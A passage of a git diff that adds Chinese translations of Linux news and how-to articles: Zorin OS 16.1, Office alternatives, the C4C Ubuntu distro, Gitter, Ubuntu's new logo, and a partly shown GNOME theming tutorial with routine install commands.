LibreOffice 7.3 + * Firefox 98 + * Linux Kernel 5.13 + * GIMP 2.10.18 + * Evolution 邮件客户端 + +如果你想深入了解这些变化,完整的细节可以在[这里][3]找到。 + +那么,在哪里下载? + +### 下载 + +在你点击下载之前,你应该知道它有一个“专业”版本,带有额外的主题和开箱即用的设置,价值 39 美元,而“核心”版本是完全免费下载的。你可以在下载页面阅读“专业版”和“核心版”的比较。 + +在我看来,核心版应该足够了,如果你有足够的经验,你可以改变设置,使其成为专业版。因此,我们推荐核心版用于一般用途。 + +- [下载 Zorin OS 16.1][5] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/zorin-os-16-1-release/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2021/12/zorin-os-16-lite-review-xfce/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/03/Zorin-OS-16.1-Desktop-1024x575.jpg +[3]: https://blog.zorin.com/2022/03/10/zorin-os-16-1-released-support-for-ukraine/ +[5]: https://zorin.com/os/download/ +[6]: https://t.me/debugpoint +[7]: https://twitter.com/DebugPoint +[8]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[9]: https://facebook.com/DebugPoint \ No newline at end of file diff --git a/published/202203/20220312 Best 5 Alternatives to Microsoft Office -Compared.md b/published/202203/20220312 Best 5 Alternatives to Microsoft Office -Compared.md new file mode 100644 index 0000000000..be3c7a91b2 --- /dev/null +++ b/published/202203/20220312 Best 5 Alternatives to Microsoft Office -Compared.md @@ -0,0 +1,169 @@ +[#]: subject: "Best 5 Alternatives to Microsoft Office [Compared]" +[#]: via: "https://www.debugpoint.com/2022/03/best-alternatives-microsoft-office-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14382-1.html" + +横向对比 5 款微软 Office 替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/22/102722qhd38mnle30sejnt.jpg) + +> 在这篇文章中,我们将推荐 5 款可以替代微软 Office 的最佳软件,并从功能、操作难易程度等方面,对它们进行比较。看一看哪款更适合你? + +可以说,Office 办公软件是微软开发的最优质的软件之一,受到世界各地用户的青睐,广泛应用于各行各业,当属近几十年来软件市场涌现出来的精品。 + +不过大家都知道,微软 Office 不仅没有开发适用于 Linux 的版本,而且价格高昂。对于企业用户或者个人用户来说,Office 365 的价格就更贵了,远超普通人能接受的价格水平。 + +那么,有哪些软件可以替代微软 Office 呢? + +这篇文章推荐 5 款可以替代微软 Office 的最佳软件。 + +### LibreOffice + +![LibreOffice][1] + +首先推荐的是 [LibreOffice][2]。LibreOffice 是一款自由开源的办公套件,由文档基金会开发维护,支持 Linux、macOS 以及 Windows 系统。 + +LibreOffice 套件包括表格工具 [Calc][3]、文字处理工具 Writer、演示工具 Impress、画图工具 Draw 以及数据库工具 Base。 + +LibreOffice 办公软件的开发十分很活跃,同时不断提升对微软 Office 的兼容性。如果善加利用,LibreOffice 完全可以取代微软 Office。借助丰富的技术文档和社区资源,用户可以迅速掌握 LibreOffice 的使用方法。 + +企业用户也可以免费使用 LibreOffice,如果需要用它来完成关键工作,用户也可以购买配置服务和支持服务,相关费用十分低廉。 + +然而,LibreOffice 不提供像 Outlook 一样的邮箱服务。这可能是它的一个小缺点,不过好在现在的邮箱服务都可以在浏览器上运行。 + + * [主页][2] + * [商业版][4] + * [下载普通个人版][5] + * [帮助文档][6] + * [官方支持论坛][7] + +### Google Docs + +![Google Docs][8] + +搜索引擎巨头谷歌为用户免费提供了一套网页版的办公套件 —— [Google Docs][9],其中包括 Docs(文档编辑器)、Sheets(表格程序)、Slides(演示程序)。 + +用户可以在谷歌云盘中免费创建、打开文档。随时随地,自由存取。Google Docs 界面设计优美,内置工具栏、高级选项、拼写检查、语音输入功能(仅支持 Chrome 浏览器)、加密功能以及云存储服务。谷歌也为 iOS 系统和安卓系统提供了移动端,用户可以在移动设备上轻松打开、编辑文档。 + +Google Docs 最为人称道的功能在于它的模板。有了这些内置模板,用户可以迅速编辑出一份专业的文档。此外,通过邀请其他谷歌用户,还可以使用多人协作在线编辑功能。 + +如果你需要更多的功能,可以付费使用 Google Workspace。这是一套全面的整合方案,你可以通过 Google Forms 收集信息,并集成到你的文档和表格中、网站编辑工具 Google Sites、Google 日历等服务,保存为文档。 + + * [主页][9] + * [帮助文档][10] + +### OnlyOffice + +![OnlyOffice][11] + +[OnlyOffice][12](显示名字为 ONLYOFFICE)是一套自由开源的办公软件,包括文本编辑器、表格工具、演示软件,提供共享文件实时协作编辑、修改痕迹记录查看以及制作可供填写的表格等高级功能。 + +外观上,OnlyOffice 的功能区模仿了微软 Office 365 功能区的设计风格,能让用户快速上手。此外,OnlyOffice 对微软 Office 文件格式(.docx .xlsx 以及 .pptx)的兼容性更好,方便用户与他人共享文件。 + +值得一提的是,OnlyOffice 还推出了需要付费使用的企业版本 —— ONLYOFFICE Workspace。该版本增加了一些其他的高级功能,提供即时支持服务,非常适合那些预算紧张但对格式兼容性要求又很高的用户。 + +ONLYOFFICE Workspace 集成了邮箱客户端、客户关系管理产品、项目管理工具以及日历。总体来说,ONLYOFFICE Workspace 是一款不错的软件,但也有一些不足,如拼写检查、打印预览、页面尺寸以及漏洞等问题。不过也不需要过分担心,你可以在 GitHub 上传错误报告,向开发团队寻求帮助。 + + * [主页][12] + * [下载][14] + * [帮助文档][15] + +### Softmaker FreeOffice + +![FreeOffice][16] + +[FreeOffice][17] 由 SoftMaker 开发,是一套十分优秀的办公软件,包括 TextMaker(可替代 Word)、PlanMaker(可替代 Excel)以及 Presentations(可替代 PowerPoint)。FreeOffice 提供了两种用户界面:带有功能区选项的现代化界面与带有菜单和工具栏的传统界面,两种界面都十分受欢迎。此外,FreeOffice 还为触控设备提供专有的用户界面与功能。 + +FreeOffice 对 微软 Office 文档格式的兼容性是很好的,可以完成大部分工作。然而,你在处理开放文档格式(ODT)文件时可能会遇到一点麻烦,因为它的支持有限。 + +FreeOffice 是一款闭源软件。 + + * [主页][17] + * [下载][18] + * [帮助文档][19] + +### WPS Office + +![WPS Office][20] + +还记得金山办公软件吗? 它现在的名字叫做 WPS Office。WPS 取 **W**ord, **P**resentation 与 **S**preadsheets 的首字母组合而成。到今天,WPS Office 已有 30 年的发展历史,是老牌办公软件之一。WPS 作为办公软件,功能齐全,支持移动端在内的各类平台。 + +WPS 最具特色的功能在于支持实时协作编辑。使用 WPS,团队成员可以同时编辑一份共享文档。WPS 还为用户提供了超过 10 万种文档模板,帮助用户编辑出专业美观的文档与演示文件。 + +WPS 的标准版本可以免费下载使用,不过有一些高级功能需要付费。 + +如果你需要额外的功能,比如编辑 PDF 文件、云空间扩容、团队协作以及企业支持,可以考虑付费开通会员,使用 WPS 企业版。 + +注意,这是一款闭源软件,而且可能会推送广告。(LCTT 译注:该公司内部人士表示,免费的 Linux 版没广告。)该软件由中国金山软件公司开发。 + + * [主页][21] + * [帮助文档][22] + * [下载][23] + +### 对比表 + +下表基于功能以及其他细节,对上述 5 款办公软进行对比总结。 + +产品 | 价格 | 是否开源 | 优势 | 劣势 +---|---|---|---|--- +LibreOffice | 免费 | 开源 | 免费;跨平台;支持多种语言;完全支持 ODF 文件格式;对 微软 Office 兼容性最好;开发活跃 | 不提供邮箱应用;不提供项目管理功能;数据库基于 Java +Google Docs | 免费 | 闭源 | 免费;跨平台;良好的文档支持;随时随地存取云文档;完美支持移动端 | 需要网络连接;网络连接导致卡顿或延迟;不提供可供安装的版本 +OnlyOffice | 免费(基础功能) | 开源 | 用户界面酷似微软 Office;对微软 Office 文件拥有更好的兼容性;云集成;支持插件;跨平台 | 基本功能可能出现问题;云集成服务违反欧盟通用数据保护条例;网页端延迟 +FreeOffice | 免费(基础功能)| 闭源 | 免费;相较于 LibreOffice 更加轻量;支持触屏;良好的微软 Office 兼容性;跨平台 | 免费版本只包括文档、表格与演示功能;其他产品需要付费;对 ODT 文件格式的支持有限;闭源软件 +WPS Office | 免费 | 闭源 | 良好的微软 Office 兼容性;跨平台;标签界面;支持多语言 | 闭源软件;可能弹出广告 + +### 我们推荐 + +抛开所有这些优势和劣势不管,如果你还不确定哪一款才是最适合你的,我推荐你使用 LibreOffice。因为 LibreOffice 与 TDF 格式前景广阔,开发活跃,在全世界都拥有广泛的支持。LibreOffice 有着庞大的在线知识库,为用户提供丰富的使用技巧。通过在 LibreOffice 中使用 Basic 语言或者 Python 宏,你还可以轻松实现办公自动化。 + +### 总结 + +我希望,我们的推荐能帮助你选择适合自己的可替代微软 Office 的办公软件。 说实话,上述软件没有一个能真正比得上微软 Office。但是并不是每个人都能付得起微软 Office 高昂的费用,我相信以上 5 款软件对这部分人来说会是不错的选择。 + +_一些图片来源:上述软件所属公司_ + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/03/best-alternatives-microsoft-office-2022/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/03/LibreOffice-1024x535.jpg +[2]: https://www.libreoffice.org/discover/libreoffice/ +[3]: https://www.debugpoint.com/category/libreoffice/libreoffice-calc/ +[4]: https://www.libreoffice.org/download/libreoffice-in-business/ +[5]: https://www.libreoffice.org/download/download/ +[6]: https://help.libreoffice.org/latest/en-US/text/shared/05/new_help.html +[7]: https://ask.libreoffice.org/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/03/Google-Docs.jpg +[9]: https://www.google.com/docs/about/ +[10]: https://support.google.com/docs/?hl=en#topic=1382883 +[11]: https://www.debugpoint.com/wp-content/uploads/2022/03/OnlyOffice.jpg +[12]: https://www.onlyoffice.com/ +[13]: https://www.debugpoint.com/2021/12/best-gnome-apps-part-1/ +[14]: https://www.onlyoffice.com/desktop.aspx +[15]: https://forum.onlyoffice.com/ +[16]: https://www.debugpoint.com/wp-content/uploads/2022/03/FreeOffice.jpg +[17]: https://www.freeoffice.com/en/ +[18]: https://www.freeoffice.com/en/download/applications +[19]: https://forum.softmaker.com/ +[20]: https://www.debugpoint.com/wp-content/uploads/2022/03/WPS-Office-1024x499.jpg +[21]: https://www.wps.com/ +[22]: https://www.wps.com/academy/ +[23]: https://www.wps.com/download/ +[24]: https://t.me/debugpoint +[25]: https://twitter.com/DebugPoint +[26]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[27]: https://facebook.com/DebugPoint diff --git a/published/202203/20220315 The C4C Linux Distro Rises from the Grave.md b/published/202203/20220315 The C4C Linux Distro Rises from the Grave.md new file mode 100644 index 0000000000..14df648d7f --- /dev/null +++ b/published/202203/20220315 The C4C Linux Distro Rises from the Grave.md @@ -0,0 +1,61 @@ +[#]: subject: "The C4C Linux Distro Rises from the Grave" +[#]: via: "https://news.itsfoss.com/c4c-linux-distro-revived/" +[#]: author: "John Paul https://news.itsfoss.com/author/john/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14377-1.html" + +复活的 C4C Linux 发行版 +====== + +> Computers4Christians 项目以定制发行版的形式进行了改革,该发行版为有基督教信仰的人提供了软件。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/c4c-disto-rises-from-the-grave.png?w=1200&ssl=1) + +当我刚开始在这里写作时,我介绍了一个 [基督徒的 Linux 发行版][1],距离现在已经有 6 个年头了,让我们来速览一下这个项目在 6 年的时间里都有哪些变化吧。 + +### 名字变了,性质也变了 + +当我们第一次碰到 [Computers4Christians][2],他们是一个基督教团体,通过安装 Linux 系统来翻新旧电脑,并把它们捐赠给当地社区。他们大约捐赠了 1000 台翻新的旧电脑。该团体基于 Lubuntu 定制了自己的 Linux 版本,名字叫 “Computers4Christians Linux Project”。 + +今天,Computers4Christians 已经不再捐赠翻新的旧电脑了。取而代之的是,这三个开发者正在专注于开发重命名的 [C4C Ubuntu][3]。 + +当我问他们为什么决定要继续开发这个发行版时,他们回答说: + +> 我们希望引导那些不信奉上帝的人与耶稣·基督建立真正的联系,并借此发展一些信徒。任何人都可以,在几乎任何电脑上,下载、运行临场镜像或者安装我们的 Linux 发行版。C4C Ubuntu 用户可以通过多个版本的圣经、基督教教义、每日灵修、基督教视频和游戏等方式聆听上帝的教诲。我们祈祷每一次的下载、运行和安装 C4C Ubuntu 镜像,都能帮助用户走向基督,或是更接近上帝。“向软弱的人,我就作软弱的人,为要得软弱的人;向甚么样的人,我就作甚么样的人。无论如何总要救些人。” —— 哥林多前书 9:22(网络) + +### C4C Ubuntu 中都有什么? + +当前版本的 C4C Ubuntu 基于最新的 Ubuntu LTS(20.04.4)构建。它使用 Xfce 桌面环境代替了 GNOME 桌面环境。我问他们为什么决定基于 Ubuntu 而不是 Lubuntu。开发者 Eric Bradshaw 告诉我说,他们之所以切换到 Ubuntu,是因为 Lubuntu 的 LXQt 桌面环境有缺陷,而且它在旧电脑上表现不佳。 + +以下是 C4C Ubuntu 预装的内容: + + * 主要的常用软件:Catfish、FileZilla、GIMP、Gnash、GnuCash、Gufw、LibreOffice、OpenJDK Java 11、Pidgin、Pinta、Synaptic、Thunderbird 和 VLC。 + * 与基督教或圣经相关的软件和媒体:十二使徒问答和记忆游戏、圣经、圣经桌面版、8 个圣经知识游戏、10 个圣经经文迷宫探索游戏、Diatheke、117 个 Flash 圣经游戏、24 个有趣的圣经故事、Verse、Wide Margin、西福斯圣经指南、新信徒和门徒的阅读材料以及基督教视频。 + * 圣经:有声圣经(WEB)、AKJV、ASV、BBE、ERV、KJV、NHEB 和 WEB。注释:MHC、NETnotesfree、Personal 和 TFG。每日灵修:DBD 和 SME。词典:MLStrong、Robinson、StrongsGreek 和 StrongsHebrew。通用书籍:MollColossions 和 Pilgram。地图:ABSMaps、eBibleTeacherMaps、EpiphanyMaps、HistMidEast、KretzmannMaps、NETMaps、SmithBibleAtlas 和 SonLightFreeMaps。 + * 我们的背景图片包括 150 张不同的“上帝的创造God's creation”,提供高清、标准和宽屏等尺寸大小。我们还提供快捷方式或启动器,你可以在“基督教”子菜单中找到它们,点击即可直达 37 个在线的基督教视频集、音乐视频集和 YouTube 频道。 + * 预装的 Firefox 上有数百个手工挑选和分类的书签,不管你是要学习 Linux 还是要了解上帝,你都可以找到相关书签。有一个叫 “FoxFilter” 的家长控制扩展可以帮助过滤掉网页上不适当的内容,用户如果觉得有用,可以订阅它。 + * C4C Ubuntu 团队引入了 [GNU Gnash 的 snap 包][4],它是一个 Flash 播放器。有了它,用户就可以玩预装的 Flash 圣经游戏了。 + +如果你想要尝试 C4C Ubuntu,你可以在 [这里][5] 找到下载链接。这个网站有很多关于他们的历史版本信息。同时,开发团队也在不断更新这个网站。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/c4c-linux-distro-revived/ + +作者:[John Paul][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/john/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/computers-christians-linux/ +[2]: https://computers4christians.org/ +[3]: https://computers4christians.org/C4C.html +[4]: https://snapcraft.io/gnash-raymii +[5]: https://computers4christians.org/Download.html diff --git a/published/202203/20220316 Gitter- A Cross-Platform Open Source Community Platform for Developers.md b/published/202203/20220316 Gitter- A Cross-Platform Open Source Community Platform for Developers.md new file mode 100644 index 0000000000..37a09b476a --- /dev/null +++ b/published/202203/20220316 Gitter- A Cross-Platform Open Source Community Platform for Developers.md @@ -0,0 +1,110 @@ +[#]: subject: "Gitter: A Cross-Platform Open Source Community Platform for Developers" +[#]: via: "https://itsfoss.com/gitter/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14397-1.html" + +Gitter:面向开发者的跨平台开源社区平台 +====== + +![](https://img.linux.net.cn/data/attachment/album/202203/26/132222ldtjfcxvfz9kx5jv.jpg) + +> 一个为开发者量身定做的跨平台开源解决方案。你可以建立或加入现有的社区来进行协作和互动。 + +几乎每个网络用户都知道 Slack、Rocket.Chat、Trello、[Nextcloud][1],以及其他一些用于工作沟通和协作的解决方案。 + +如果你喜欢用 FOSS 来进行团队协作,我们也有一个 [Slack 的开源替代品列表][2]。 + +但是,作为一个软件开发者,如果你偶然发现了一个开发者社区怎么办? + +与 Reddit 或其他社交媒体上的社区不同,你可以进入一个开源平台,在那里,开发者们遇见并就重要的开源项目进行合作。这对于社交协作和同行之间的互动来说,不是很令人兴奋吗? + +![][3] + +[Gitter][10](现在是 [Element][4] 的一部分,也是一个协作/聊天应用)的目标就是这样。它是一个由开源技术驱动的社区平台([Matrix][5] 协议)。 + +### Gitter:使用开源技术连接的开发者社区 + +Gitter 是一个令人兴奋的聊天和网络平台,有助于建立或加入现有社区。它可用于 Linux、macOS 和 Windows。 + +![][6] + +它是专门为开发者定制的,可以为他们各自的语言/项目,如 CSS、JavaScript、Bootstrap、NodeJS 等,进行合作/加入社区。 + +你也可以轻松地创建你的社区,而无需设置任何邀请服务。 + +![][7] + +该平台的关键亮点是,社区是完全开放的,可被搜索引擎索引。对于社区中的对话历史,你不会被任何定价计划所锁定,你所需要查看的是归档。 + +而且,你在 Gitter 获得的功能还有很多。 + +### Gitter 的功能 + +虽然 Gitter 最初是为开发者定制的,但如果你认为它的功能符合你的要求,你可以用它来建立任何类型的社区。 + +![][8] + + * 由一个去中心化的 Matrix 网络支持。 + * 可公开加入的社区。 + * 能够将你的社区限制在选定的用户中。 + * 深色模式主题。 + * 访问归档,轻松找到过去的对话。 + * 能够导出信息/房间信息。 + * 从你的网络中添加用户(例如,如果你使用 Twitter 登录,你可以选择从 Twitter 邀请用户到你的社区)。 + * 几个可用的集成(GitHub、Bitbucket、Trello、GitLab、Docker Hub、Discourse 等)。 + * 支持 GitHub 风格的 Markdown。 + * 在同一社区下创建更多的房间,以保持事情的条理性。 + * 轻松地分享/嵌入聊天室的链接。 + * 帖子系统,以保持对话的整齐。 + * 删除/报告信息的能力。 + +总之,Gitter 提供了适合不同社区的各种功能。 + +而且,通过 GitHub、GitLab 和其他一些网站的集成,它成为开发者和团队的一个完美的合作选择。 + +![][9] + +### 在 Linux 中安装 Gitter.im + +开发人员主要专注于网络应用。因此,如果你想避免在你的 Linux 桌面上安装任何东西,请前往 [Gitter.im][10] 并注册/登录以开始使用。 + +如果你想让它成为一个桌面应用,你可以从其官方网站下载 DEB 包,或者可选择 [Snap 包][11]和 [Flatpak 包][12]。 + +我在简短的测试中尝试了 Flatpak 包,它在 Ubuntu 20.04 LTS 上运行良好。你可以在你喜欢的任何一个 Linux 发行版上尝试 Flatpak/Snap。 + +你也可以在你的移动设备上使用它。不幸的是,官方的 Gitter 移动应用已经不再维护。但是,你可以使用 Element 应用来登录房间/社区,考虑到两者都是由同一个去中心化的网络(即Matrix)驱动的。 + +要了解更多信息,请浏览 [GitLab 页面][13]或前往其网站。 + +你试过 Gitter 吗?你对它有什么看法?它适合你这个开发者吗?你用它做什么?请在下面的评论中告诉我们你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gitter/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/nextcloud/ +[2]: https://itsfoss.com/open-source-slack-alternative/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/gitter-dark-mode.png?resize=800%2C536&ssl=1 +[4]: https://itsfoss.com/element/ +[5]: https://matrix.org/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/gitter-light-mode.png?resize=800%2C536&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/gitter-communities.png?resize=800%2C398&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/gitter-add-friends.png?resize=800%2C468&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/03/gitter-integrations.png?resize=800%2C597&ssl=1 +[10]: https://gitter.im/ +[11]: https://snapcraft.io/gitter-desktop +[12]: https://flathub.org/apps/details/im.gitter.Gitter +[13]: https://gitlab.com/gitterHQ/desktop diff --git a/published/202203/20220317 Ubuntu has a ‘Weird Looking- New Logo.md b/published/202203/20220317 Ubuntu has a ‘Weird Looking- New Logo.md new file mode 100644 index 0000000000..105d77f72d --- /dev/null +++ b/published/202203/20220317 Ubuntu has a ‘Weird Looking- New Logo.md @@ -0,0 +1,83 @@ +[#]: subject: "Ubuntu has a ‘Weird Looking’ New Logo" +[#]: via: "https://news.itsfoss.com/ubuntu-new-logo/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14370-1.html" + +Ubuntu 有了一个“怪怪的”新标志 +====== + +> Ubuntu 已经重新设计了它的标志。不是每个人都会喜欢它。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-unveils-new-logo.png?w=1200&ssl=1) + +Ubuntu 的标志包含了多个元素。对粉丝来说,橙色和紫色是 Ubuntu 的特征。 + +除此之外,Ubuntu 的标志上还写有 “ubuntu” 的字样,以及一个橙色的图案。 + +![Ubuntu’s old logo][1] + +这个橙色的“朋友圈circle of friends”图案是 Ubuntu 的身份标识,它象征着:自由、协作、精确和可靠。 + +这个图案实际上是三个朋友或团队成员“搭在一起”的一个俯视图。你可能在体育运动中见到过这样的画面。 + +![Image courtesy: Unsplash][2] + +### Ubuntu 有了一个全新的标志 + +但这个图案正在发生变化。[OMG! Ubuntu][3] 报道说,Canonical 重新设计了标志的元素、文字和这个“朋友圈”的图案。 + +在旧的标志中,“朋友圈”图案在粗体 “ubuntu” 文字的右上角。 + +新的标志改变了这一点。“朋友圈”图案经过重新设计,看起来更平滑,而且被放置在一个橙色的矩形里。文字也有变化,现在使用了更细的字体。“Ubuntu” 中的 “U” 现在是大写的了。 + +有趣的是,新标志不再包含注册商标符号 “®” 了。 + +![][4] + +Ubuntu 在官方博文中提到了关于新设计的 [这些变化][5]: + +> 虽然(在设计上)和之前的朋友圈图案保持相对延续性很重要,但是更新后的版本更精简、更专注、更成熟。现在他们的头部在圆圈里,彼此面对,连接也更加直接,这看起来更合理一些。 + +你可以在这个视频中看到新标志的动画: + +[![][6]](https://img.linux.net.cn/static/video/Ubuntu%20new%20logo%20animation-9DHUyz54flA.mp4) + +这个新标志将会出现在 Ubuntu 22.04 发行版中。 + +### 这不是首次重新设计标志 + +这并不是 Ubuntu 第一次重新设计它的标志。早在 Ubuntu 项目于 2004 年初创时,“朋友圈”图案有三种颜色:黄色、红色和橙色。在 2010 年的时候,它被重新设计,“搭在一起的人” 变成了白色,他们被一个橙色的圆圈围绕着。 + +![Image courtesy: OMG! Ubuntu][7] + +### 你喜欢这个新标志吗? + +这次的新设计距离上一次已经过了 13 年。这个新“朋友圈”图案看起来还不错,但我还是觉得这个矩形背景有点怪怪的。 + +你怎么看?你喜欢 Ubuntu 的新标志吗,还是说更喜欢以前的那个呢?请在下方评论区分享你的观点吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-new-logo/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-old-logo.png?w=1294&ssl=1 +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/huddle.jpg?w=800&ssl=1 +[3]: https://www.omgubuntu.co.uk/2022/03/ubuntu-has-a-brand-new-logo +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/new-ubuntu-logo.png?w=780&ssl=1 +[5]: https://ubuntu.com/blog/a-new-look-for-the-circle-of-friends +[6]: https://i0.wp.com/i.ytimg.com/vi/9DHUyz54flA/hqdefault.jpg?w=780&ssl=1 +[6a]: https://youtu.be/9DHUyz54flA +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-logo-comparison.jpg?w=1200&ssl=1 \ No newline at end of file diff --git a/published/202203/20220320 Customize GNOME Desktop in Ubuntu with a Clean Look.md b/published/202203/20220320 Customize GNOME Desktop in Ubuntu with a Clean Look.md new file mode 100644 index 0000000000..db74a01074 --- /dev/null +++ b/published/202203/20220320 Customize GNOME Desktop in Ubuntu with a Clean Look.md @@ -0,0 +1,153 @@ +[#]: subject: "Customize GNOME Desktop in Ubuntu with a Clean Look" +[#]: via: "https://www.debugpoint.com/2022/03/customize-gnome-clean-look-2022-1/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14393-1.html" + +在 Ubuntu 中定制简洁的 GNOME 桌面 +====== + +> 本教程为你提供了一些简单的步骤来自定义 GNOME 桌面,用最少的努力打造干净的外观。下面如何做的。 + +![](https://img.linux.net.cn/data/attachment/album/202203/25/095452nw8pt6pxu9owwsks.jpg) + +如果你对最喜欢的 GNOME 桌面的样子已经看厌烦了,那么你就来对了。让我们安装一些主题图标并进行一些调整以提升你的桌面格调。我们将转换如下桌面(GNOME 40.5 和 Ubuntu 21.10)。 + +![Ubuntu Desktop with GNOME – Before Customization][1] + +这个定制教程将使用漂亮的 Colloid GTK 主题、Mkos-Big-Sur 图标、一个带有额外扩展的酷炫光标主题,以及 Conky。 + +### 自定义 GNOME 桌面,用简洁的外观提升它的形象 + +#### 安装 + +首先,通过在终端运行以下命令来设置 GNOME Shell 扩展。 + +``` +sudo apt install chrome-gnome-shell +``` + +然后 [打开这个页面][2],将 GNOME 扩展的插件添加到你的浏览器(Chrome/Firefox)。 + +![Add Browser Add-on for GNOME Shell Extension][3] + +安装“扩展”应用([Flatpak][4]),你可能需要它来改变 GNOME 扩展的设置。 + +之后,从终端使用以下命令安装 GNOME 优化工具GNOME Tweaks。我们将使用这个工具来改变主题和其他设置。 + +``` +sudo apt install gnome-tweaks +``` + +[下载 Colloid GTK 主题][5]。下载后解压文件。然后将解压后的文件夹复制到你主目录下的 `~/.themes`。如果文件夹不存在,请创建它。完成这些后,打开终端,运行 `install.sh` 文件。 + +[下载 Mkos-Big-Sur 图标主题][6]。下载完成后,解压文件并将父文件夹复制到你的主目录中的 `~/.icons`。 + +[下载 Vimix 光标主题][7],并按照上述步骤操作。将提取的文件夹复制到 `~/.icons` 目录中。然后打开一个终端,运行 `install.sh` 文件。 + +现在,安装 Conky 和一些扩展,这些扩展最终会给你的 GNOME 桌面一个干净的外观。要安装 Conky 和 Conky 管理器,打开终端提示符并运行以下命令。 + +``` +sudo apt install conky +sudo add-apt-repository ppa:tomtomtom/conky-manager +sudo apt update && sudo apt install conky-manager2 +``` + +现在,打开下面每个扩展的链接,依次安装它们。要安装时,打开页面,点击 ON/OFF 切换开关(见下图)。它将要求你提供管理员密码和安装许可。 + +* [Move Clock][8] +* [Dash to Dock][9] +* [Tray Icons][10] +* [Arc Menu][11] +* [User Themes][12] + +![GNOME Extension – Page][13] + +#### 配置 + +在你完成上述步骤后,做一些基本配置。你可能会看到在你安装上面的 GNOME 扩展时,有些变化已经生效了。例如,在安装上面的 Move Clock 扩展时,时钟应该已经被移到了右边。 + +##### 优化工具 + +打开优化GNOME Tweaks工具(从应用菜单中搜索“Tweaks”),进入“外观Apperance”。 + +将应用主题改为 “Colloid Dark”,光标主题为 “Vimix Cursors”,图标主题为 “Mkos-big-sur”,Shell 主题为 “Colloid Dark”。如果你愿意,你可以选择浅色主题和不同的选项。 + +![Apply Themes][15] + +##### Arc 菜单 + +打开“扩展Extension”应用,进入 Arc 菜单设置Arc Menu Settings。 + +将菜单布局改为 “替代菜单布局Alternative Menu Layout > Raven”。 + +将应用的菜单按钮改成你喜欢的一些图标。在本指南中,我从 [这里][16] 下载了一个 GNOME 图标。并通过 Arc 菜单的 “设置Settings > 按钮外观Button Appearance > 浏览图标Browse Icon”应用它。它应该看起来像这样。 + +![Arc Menu – Raven][17] + +从“扩展Extension”程序中打开 “Dash to Dock” 设置。在“外观Appearance”选项卡中,改变以下项目: + +* 启用收缩到 Dash 的功能 +* 自定义窗口计数指示器为 Dash +* 启用自定义 Dash 颜色 +* 自定义不透明度为固定 +* 不透明度为 12% + 